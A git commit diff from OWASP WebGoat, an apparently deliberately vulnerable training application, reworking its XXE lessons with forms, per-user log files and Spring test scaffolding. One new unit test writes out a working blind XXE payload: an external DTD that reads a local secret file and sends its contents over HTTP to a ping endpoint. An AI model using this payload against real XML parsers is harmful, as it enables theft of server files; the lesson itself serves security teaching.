Updated XXE lessons with challenge screens
This commit is contained in:
parent
cb9503d4a3
commit
877de6ebd4
@ -242,6 +242,12 @@
|
||||
<version>${junit.version}</version>
|
||||
<type>jar</type>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>com.github.fakemongo</groupId>
|
||||
<artifactId>fongo</artifactId>
|
||||
<version>2.1.0</version>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
<!-- ************* END: Dependencies for Unit and Integration Testing ************** -->
|
||||
<!-- ************* END: <dependencies> ************** -->
|
||||
</dependencies>
|
||||
|
@ -33,7 +33,6 @@ package org.owasp.webgoat.controller;
|
||||
import org.owasp.webgoat.lessons.AbstractLesson;
|
||||
import org.owasp.webgoat.session.Course;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.springframework.security.core.GrantedAuthority;
|
||||
import org.springframework.security.core.context.SecurityContext;
|
||||
import org.springframework.security.core.context.SecurityContextHolder;
|
||||
import org.springframework.stereotype.Controller;
|
||||
@ -77,8 +76,8 @@ public class StartLesson {
|
||||
// I will set here the thymeleaf fragment location based on the resource requested.
|
||||
ModelAndView model = new ModelAndView();
|
||||
SecurityContext context = SecurityContextHolder.getContext(); //TODO this should work with the security roles of Spring
|
||||
GrantedAuthority authority = context.getAuthentication().getAuthorities().iterator().next();
|
||||
String path = request.getServletPath(); // we now got /a/b/c/AccessControlMatrix.lesson
|
||||
//GrantedAuthority authority = context.getAuthentication().getAuthorities().iterator().next();
|
||||
String path = request.getRequestURL().toString(); // we now got /a/b/c/AccessControlMatrix.lesson
|
||||
String lessonName = path.substring(path.lastIndexOf('/') + 1, path.indexOf(".lesson"));
|
||||
List<AbstractLesson> lessons = course.getLessons();
|
||||
Optional<AbstractLesson> lesson = lessons.stream()
|
||||
|
@ -1,6 +1,6 @@
|
||||
package org.owasp.webgoat.lessons;
|
||||
|
||||
import lombok.Getter;
|
||||
import com.google.common.collect.Lists;
|
||||
import lombok.Setter;
|
||||
import org.owasp.webgoat.session.Screen;
|
||||
|
||||
@ -44,10 +44,16 @@ public abstract class AbstractLesson extends Screen implements Comparable<Object
|
||||
|
||||
private Integer ranking;
|
||||
|
||||
@Getter
|
||||
@Setter
|
||||
private List<Assignment> assignments;
|
||||
|
||||
public List<Assignment> getAssignments() {
|
||||
if (assignments == null) {
|
||||
return Lists.newArrayList();
|
||||
}
|
||||
return assignments;
|
||||
}
|
||||
|
||||
/**
|
||||
* Constructor for the Lesson object
|
||||
*/
|
||||
|
@ -29,6 +29,7 @@ webgoat.database.driver=org.hsqldb.jdbcDriver
|
||||
webgoat.database.connection.string=jdbc:hsqldb:mem:{USER}
|
||||
webgoat.default.language=en
|
||||
|
||||
|
||||
spring.data.mongodb.database=webgoat
|
||||
spring.mongodb.embedded.storage.databaseDir=${webgoat.user.directory}/mongodb/
|
||||
|
||||
|
@ -0,0 +1,42 @@
|
||||
package org.owasp.webgoat.plugins;
|
||||
|
||||
import org.junit.Before;
|
||||
import org.owasp.webgoat.i18n.Language;
|
||||
import org.owasp.webgoat.i18n.Messages;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.boot.context.embedded.LocalServerPort;
|
||||
import org.springframework.boot.test.context.SpringBootTest;
|
||||
import org.springframework.boot.test.mock.mockito.MockBean;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
import org.springframework.web.context.WebApplicationContext;
|
||||
|
||||
import java.util.Locale;
|
||||
|
||||
import static org.mockito.Mockito.when;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 5/20/17.
|
||||
*/
|
||||
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
||||
public abstract class LessonTest {
|
||||
|
||||
@LocalServerPort
|
||||
protected int localPort;
|
||||
protected MockMvc mockMvc;
|
||||
@Autowired
|
||||
protected WebApplicationContext wac;
|
||||
@Autowired
|
||||
protected Messages messages;
|
||||
@MockBean
|
||||
protected WebSession webSession;
|
||||
@MockBean
|
||||
private Language language;
|
||||
|
||||
@Before
|
||||
public void init() {
|
||||
when(language.getLocale()).thenReturn(Locale.US);
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,23 @@
|
||||
package org.owasp.webgoat.plugins;
|
||||
|
||||
import com.github.fakemongo.Fongo;
|
||||
import com.mongodb.MongoClient;
|
||||
import org.springframework.context.annotation.Configuration;
|
||||
import org.springframework.data.mongodb.config.AbstractMongoConfiguration;
|
||||
|
||||
/**
|
||||
* Using Fongo for embedded in memory MongoDB testing
|
||||
*/
|
||||
@Configuration
|
||||
public class TestConfig extends AbstractMongoConfiguration {
|
||||
|
||||
@Override
|
||||
protected String getDatabaseName() {
|
||||
return "test";
|
||||
}
|
||||
|
||||
@Override
|
||||
public MongoClient mongo() throws Exception {
|
||||
return new Fongo(getDatabaseName()).getMongo();
|
||||
}
|
||||
}
|
@ -33,6 +33,14 @@
|
||||
<version>${project.version}</version>
|
||||
<scope>provided</scope>
|
||||
<type>jar</type>
|
||||
<!-- Exclude Mongo embedded so testcases do not start it automatically, seems to be
|
||||
the easiest way to stop the autoconfiguration of Spring Boot -->
|
||||
<exclusions>
|
||||
<exclusion>
|
||||
<groupId>de.flapdoodle.embed</groupId>
|
||||
<artifactId>de.flapdoodle.embed.mongo</artifactId>
|
||||
</exclusion>
|
||||
</exclusions>
|
||||
</dependency>
|
||||
<!--<dependency>-->
|
||||
<!--<groupId>org.apache.commons</groupId>-->
|
||||
@ -45,6 +53,14 @@
|
||||
<version>${project.version}</version>
|
||||
<classifier>tests</classifier>
|
||||
<scope>test</scope>
|
||||
<!-- Exclude Mongo embedded so testcases do not start it automatically, seems to be
|
||||
the easiest way to stop the autoconfiguration of Spring Boot -->
|
||||
<exclusions>
|
||||
<exclusion>
|
||||
<groupId>de.flapdoodle.embed</groupId>
|
||||
<artifactId>de.flapdoodle.embed.mongo</artifactId>
|
||||
</exclusion>
|
||||
</exclusions>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>junit</groupId>
|
||||
@ -70,6 +86,12 @@
|
||||
<version>4.1.3.RELEASE</version>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>com.github.fakemongo</groupId>
|
||||
<artifactId>fongo</artifactId>
|
||||
<version>2.1.0</version>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.owasp.encoder</groupId>
|
||||
<artifactId>encoder</artifactId>
|
||||
|
@ -1,8 +1,9 @@
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
import com.beust.jcommander.internal.Lists;
|
||||
import com.google.common.base.Joiner;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.lang.exception.ExceptionUtils;
|
||||
import org.apache.commons.lang3.StringEscapeUtils;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
@ -59,9 +60,9 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
|
||||
@Value("${webgoat.user.directory}")
|
||||
private String webGoatHomeDirectory;
|
||||
@Autowired
|
||||
private WebSession webSession;
|
||||
@Autowired
|
||||
private Comments comments;
|
||||
@Autowired
|
||||
private WebSession webSession;
|
||||
|
||||
@PostConstruct
|
||||
@SneakyThrows
|
||||
@ -76,20 +77,20 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
|
||||
|
||||
@RequestMapping(method = RequestMethod.POST, consumes = MediaType.ALL_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
|
||||
@ResponseBody
|
||||
public AttackResult createNewUser(@RequestBody String commentStr) throws Exception {
|
||||
String error = "Parsing successful contents not send to server";
|
||||
public AttackResult addComment(@RequestBody String commentStr) throws Exception {
|
||||
String error = "Parsing successful contents not send to attacker";
|
||||
try {
|
||||
Comment comment = comments.parseXml(commentStr);
|
||||
comments.addComment(comment, false);
|
||||
} catch (Exception e) {
|
||||
error = ExceptionUtils.getFullStackTrace(e);
|
||||
error = StringEscapeUtils.escapeJson(e.toString());
|
||||
}
|
||||
|
||||
File logFile = new File(webGoatHomeDirectory, "/XXE/log.txt");
|
||||
List<String> lines = Files.readAllLines(Paths.get(logFile.toURI()));
|
||||
File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt");
|
||||
List<String> lines = logFile.exists() ? Files.readAllLines(Paths.get(logFile.toURI())) : Lists.newArrayList();
|
||||
boolean solved = lines.stream().filter(l -> l.contains("WebGoat 8 rocks...")).findFirst().isPresent();
|
||||
logFile.delete();
|
||||
if (solved) {
|
||||
logFile.delete();
|
||||
return trackProgress(success().output("xxe.blind.output").outputArgs(Joiner.on('\n').join(lines)).build());
|
||||
} else {
|
||||
return trackProgress(failed().output(error).build());
|
||||
|
@ -2,12 +2,10 @@ package org.owasp.webgoat.plugin;
|
||||
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.owasp.webgoat.assignments.Endpoint;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
import org.springframework.web.bind.annotation.RequestHeader;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.FileNotFoundException;
|
||||
@ -47,6 +45,8 @@ public class Ping extends Endpoint {
|
||||
|
||||
@Value("${webgoat.user.directory}")
|
||||
private String webGoatHomeDirectory;
|
||||
@Autowired
|
||||
private WebSession webSession;
|
||||
|
||||
@Override
|
||||
public String getPath() {
|
||||
@ -58,7 +58,7 @@ public class Ping extends Endpoint {
|
||||
public String logRequest(@RequestHeader("User-Agent") String userAgent, @RequestParam(required = false) String text) {
|
||||
String logLine = String.format("%s %s %s", "GET", userAgent, text);
|
||||
log.debug(logLine);
|
||||
File logFile = new File(webGoatHomeDirectory, "/XXE/log.tdxt");
|
||||
File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt");
|
||||
try {
|
||||
try (PrintWriter pw = new PrintWriter(logFile)) {
|
||||
pw.println(logLine);
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
<script th:src="@{/lesson_js/xxe.js}" language="JavaScript"></script>
|
||||
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
|
||||
@ -23,6 +22,10 @@
|
||||
<div class="attack-container">
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
|
||||
<form class="attack-form" accept-charset="UNKNOWN"
|
||||
method="POST" name="form"
|
||||
action="/WebGoat/xxe/simple"
|
||||
enctype="application/json;charset=UTF-8">
|
||||
<div class="container-fluid">
|
||||
<div class="panel post">
|
||||
<div class="post-heading">
|
||||
@ -48,7 +51,8 @@
|
||||
</div>
|
||||
<div class="post-footer">
|
||||
<div class="input-group">
|
||||
<input class="form-control" id="commentInputSimple" placeholder="Add a comment" type="text"/>
|
||||
<input class="form-control" id="commentInputSimple" placeholder="Add a comment"
|
||||
type="text"/>
|
||||
<span class="input-group-addon">
|
||||
<i id="postCommentSimple" class="fa fa-edit" style="font-size: 20px"></i>
|
||||
</span>
|
||||
@ -60,6 +64,7 @@
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
<br/>
|
||||
<div class="attack-feedback"></div>
|
||||
@ -71,6 +76,10 @@
|
||||
<div class="adoc-content" th:replace="doc:XXE_changing_content_type.adoc"></div>
|
||||
<div class="attack-container">
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
<form class="attack-form" accept-charset="UNKNOWN"
|
||||
method="POST" name="form"
|
||||
action="/WebGoat/xxe/content-type"
|
||||
enctype="application/json;charset=UTF-8">
|
||||
<div class="container-fluid">
|
||||
<div class="panel post">
|
||||
<div class="post-heading">
|
||||
@ -96,7 +105,8 @@
|
||||
</div>
|
||||
<div class="post-footer">
|
||||
<div class="input-group">
|
||||
<input class="form-control" id="commentInputContentType" placeholder="Add a comment" type="text"/>
|
||||
<input class="form-control" id="commentInputContentType" placeholder="Add a comment"
|
||||
type="text"/>
|
||||
<span class="input-group-addon">
|
||||
<i id="postCommentContentType" class="fa fa-edit" style="font-size: 20px"></i>
|
||||
</span>
|
||||
@ -108,6 +118,7 @@
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
<br/>
|
||||
<div class="attack-feedback"></div>
|
||||
@ -128,6 +139,10 @@
|
||||
<div class="adoc-content" th:replace="doc:XXE_blind_assignment.adoc"></div>
|
||||
<div class="attack-container">
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
<form class="attack-form" accept-charset="UNKNOWN"
|
||||
method="POST" name="form"
|
||||
action="/WebGoat/xxe/blind"
|
||||
enctype="application/json;charset=UTF-8">
|
||||
<div class="container-fluid">
|
||||
<div class="panel post">
|
||||
<div class="post-heading">
|
||||
@ -153,7 +168,7 @@
|
||||
</div>
|
||||
<div class="post-footer">
|
||||
<div class="input-group">
|
||||
<input class="form-control" id="commentInput" placeholder="Add a comment" type="text"/>
|
||||
<input class="form-control" id="commentInputBlind" placeholder="Add a comment" type="text"/>
|
||||
<span class="input-group-addon">
|
||||
<i id="postCommentBlind" class="fa fa-edit" style="font-size: 20px"></i>
|
||||
</span>
|
||||
@ -165,6 +180,7 @@
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
<br/>
|
||||
<div class="attack-feedback"></div>
|
||||
|
@ -24,7 +24,7 @@ $(document).ready(function () {
|
||||
$(document).ready(function () {
|
||||
$("#postCommentBlind").unbind();
|
||||
$("#postCommentBlind").on("click", function () {
|
||||
var commentInput = $("#commentInput").val();
|
||||
var commentInput = $("#commentInputBlind").val();
|
||||
var xml = '<?xml version="1.0"?>' +
|
||||
'<comment>' +
|
||||
' <text>' + commentInput + '</text>' +
|
||||
@ -34,13 +34,12 @@ $(document).ready(function () {
|
||||
url: 'xxe/blind',
|
||||
data: xml,
|
||||
contentType: "application/xml",
|
||||
dataType: 'xml'
|
||||
}).then(
|
||||
function () {
|
||||
getComments('#commentsListBlind');
|
||||
$("#commentInput").val('');
|
||||
dataType: 'xml',
|
||||
complete: function (data) {
|
||||
$("#commentInputBlind").val('');
|
||||
getComments('#commentsListBlind')
|
||||
}
|
||||
)
|
||||
})
|
||||
});
|
||||
getComments('#commentsListBlind');
|
||||
});
|
||||
@ -54,13 +53,12 @@ $(document).ready(function () {
|
||||
url: 'xxe/content-type',
|
||||
data: JSON.stringify({text: commentInput}),
|
||||
contentType: "application/json",
|
||||
dataType: 'xml'
|
||||
}).then(
|
||||
function () {
|
||||
getComments('#commentsListContentType');
|
||||
dataType: 'xml',
|
||||
complete: function (data) {
|
||||
$("#commentInputContentType").val('');
|
||||
getComments('#commentsListContentType')
|
||||
}
|
||||
)
|
||||
})
|
||||
});
|
||||
getComments('#commentsListContentType');
|
||||
});
|
||||
|
@ -0,0 +1,90 @@
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
import com.google.common.io.Files;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.Before;
|
||||
import org.junit.Test;
|
||||
import org.junit.runner.RunWith;
|
||||
import org.owasp.webgoat.plugins.LessonTest;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import java.io.File;
|
||||
|
||||
import static org.assertj.core.api.Assertions.assertThat;
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 5/4/17.
|
||||
*/
|
||||
@RunWith(SpringJUnit4ClassRunner.class)
|
||||
public class BlindSendFileAssignmentTest extends LessonTest {
|
||||
|
||||
@Autowired
|
||||
private Comments comments;
|
||||
@Value("${webgoat.user.directory}")
|
||||
private String webGoatHomeDirectory;
|
||||
|
||||
@Before
|
||||
public void setup() throws Exception {
|
||||
XXE xxe = new XXE();
|
||||
when(webSession.getCurrentLesson()).thenReturn(xxe);
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt");
|
||||
if (logFile.exists()) logFile.delete();
|
||||
when(webSession.getUserName()).thenReturn("unit-test");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void validCommentMustBeAdded() throws Exception {
|
||||
int nrOfComments = comments.getComments().size();
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
||||
.content("<comment><text>test</text></comment>"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))));
|
||||
assertThat(comments.getComments().size()).isEqualTo(nrOfComments + 1);
|
||||
}
|
||||
|
||||
@Test
|
||||
public void wrongXmlShouldGiveErrorBack() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
||||
.content("<comment><text>test</ext></comment>"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))))
|
||||
.andExpect(jsonPath("$.output", CoreMatchers.is("javax.xml.bind.UnmarshalException\\n - with linked exception:\\n[javax.xml.stream.XMLStreamException: ParseError at [row,col]:[1,22]\\nMessage: The element type \\\"text\\\" must be terminated by the matching end-tag \\\"<\\/text>\\\".]")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void solve() throws Exception {
|
||||
File file = new File(webGoatHomeDirectory, "XXE/attack.dtd");
|
||||
String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
|
||||
"<!ENTITY % file SYSTEM \"file:///home/nbaars/.webgoat/XXE/secret.txt\">\n" +
|
||||
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:" + localPort + "/WebGoat/XXE/ping?text=%file;'>\">\n" +
|
||||
"%all;";
|
||||
Files.write(dtd.getBytes(), file);
|
||||
String xml = "<?xml version=\"1.0\"?>\n" +
|
||||
"<!DOCTYPE root [\n" +
|
||||
"<!ENTITY % remote SYSTEM \"file://" + file.getAbsolutePath() + "\">\n" +
|
||||
"%remote;\n" +
|
||||
"]>\n" +
|
||||
"<comment>\n" +
|
||||
" <text>test&send;</text>\n" +
|
||||
"</comment>";
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
||||
.content(xml))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.solved"))))
|
||||
.andExpect(jsonPath("$.output", CoreMatchers.is("Contents of the file is: GET Java/1.8.0_121 WebGoat 8 rocks...")));
|
||||
}
|
||||
|
||||
}
|
Loading…
x
Reference in New Issue
Block a user